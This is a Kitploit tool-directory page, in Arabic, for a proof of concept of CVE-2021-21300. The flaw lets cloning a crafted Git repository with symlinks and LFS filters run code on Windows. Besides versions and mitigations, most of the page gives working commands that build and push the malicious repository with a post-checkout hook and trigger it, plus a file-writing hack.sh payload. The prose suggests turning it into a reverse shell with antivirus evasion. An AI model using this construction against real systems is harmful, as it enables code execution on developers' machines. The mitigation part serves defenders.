Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-21300 — إثبات مفهوم لثغرة CVE-2021-21300، تعرض تنفيذ تعليمات برمجية عن بُعد عبر استنساخ مستودع Git خبيث مع إساءة استخدام الروابط الرمزية والمرشحات على أنظمة الملفات غير الحساسة لحالة الأحرف. | Kitploit
أدوات/GitHubGitHub/fengzhouc/cve-2021-21300
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالحركة الجانبيةشيل كودما بعد الاستغلالالقيادة والسيطرةأداة الوصول عن بعدتطوير الحمولات
GitHubfengzhouc/cve-2021-21300

CVE-2021-21300

إثبات مفهوم لثغرة CVE-2021-21300، تعرض تنفيذ تعليمات برمجية عن بُعد عبر استنساخ مستودع Git خبيث مع إساءة استخدام الروابط الرمزية والمرشحات على أنظمة الملفات غير الحساسة لحالة الأحرف.

منذ 5 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

CVE-2021-21300

في إصدارات متعددة من git، لا يتم التعامل مع الروابط الرمزية بشكل صارم. بعد تحميل ملفات إلى git على نظام ملفات حساس لحالة الأحرف (مثل Linux)، يمكن أن يؤدي استنساخ مستودع خبيث على مضيف يستخدم نظام ملفات غير حساس لحالة الأحرف (مثل Windows) إلى تنفيذ أوامر عن بُعد.

الإصدارات المتأثرة

من 2.15 إلى الإصدار الحالي 2.30.1

الحل

  1. ترقية الإصدار
  2. كالتالي:

تعطيل الرموز الرمزية لـ git: git config --global core.symlinks false

تعطيل مرشح العملية (عادةً ما تستخدم LFS هذه الميزة)، يمكن التحقق منه عن طريق git config --show-scope --get-regexp 'filter\..*\.process'

شروط الزناد:

  • وجود رابط رمزي ودليل بنفس الاسم في المستودع
  • الرابط الرمزي يشير إلى دليل خاص (يبدو حاليًا أنه .git/hooks)
  • يحتاج الجهاز الضحية إلى صلاحيات كافية لتنفيذ الأوامر الخبيثة

إعادة الإنتاج

01 إعداد البيئة

① إعداد المستودع:

النظام: ubuntux64

يتطلب تثبيت git و git-lfs

قد يحدث خطأ عند تنفيذ الأمر git lfs install

Error: Failed to call git rev-parse --git-dir: exit status 128

يمكن تجاهل هذا

عندما يظهر Git LFS initialized، فهذا يعني اكتمال التثبيت

② الجهاز الضحية:

النظام: win10x64

git for windows: Git-2.17.1-64-bit

(https://www.npackd.org/p/git64/2.17.1.2)

تثبيت git for windows بكل الإعدادات الافتراضية

02 إعداد المستودع الخبيث

① إنشاء مستودع جديد على GitHub:

هناك العديد من الدروس على الإنترنت، لا حاجة للتفصيل

② بناء مستودع خبيث على Ubuntu وتحميله إلى GitHub:

نفذ الأوامر التالية:

root@kitploit:~
$ git init
$ echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
$ git branch -M main
$ git remote add origin [自己的仓库地址]
$ git push -u origin main

03 اختبار الهجوم

في powershell (كمسؤول) المقدم في Win10، نفذ الأمر التالي:

git clone -c core.symlinks=true [رابط المستودع الخاص بك]

بعد الاستنساخ، ظهور PWNED يعني نجاح تنفيذ الأمر عن بُعد

كما نرى، أثناء الاستنساخ، تم تنفيذ الأوامر الموجودة في ملف post-checkout.

الفكرة هي استخدام IEX لتنزيل السكريبت، ثم الاستماع عبر kali للحصول على شيل، ولكن معظم السكريبتات يتم التعرف عليها وحظرها، ويمكن تجاوز ذلك عبر تقنيات الإخفاء من البرامج المضادة.

04 الاستغلال الموسع

إضافة ملف السكريبت hack.sh في الدليل

محتواه كما يلي:

root@kitploit:~
#!/bin/sh
#################
echo "script working..." &&
cd / &&
pwd &&
mkdir hack
cd hack &&
touch hacked &&
echo "you has been hacked">hacked &&
echo "done!"

تعديل الأوامر المنفذة في post-checkout لتنفيذ السكريبت

printf '#!/bin/sh\n\necho PWNED\n\n./hack.sh >&2\n'>A/post-checkout

تنزيل الأداة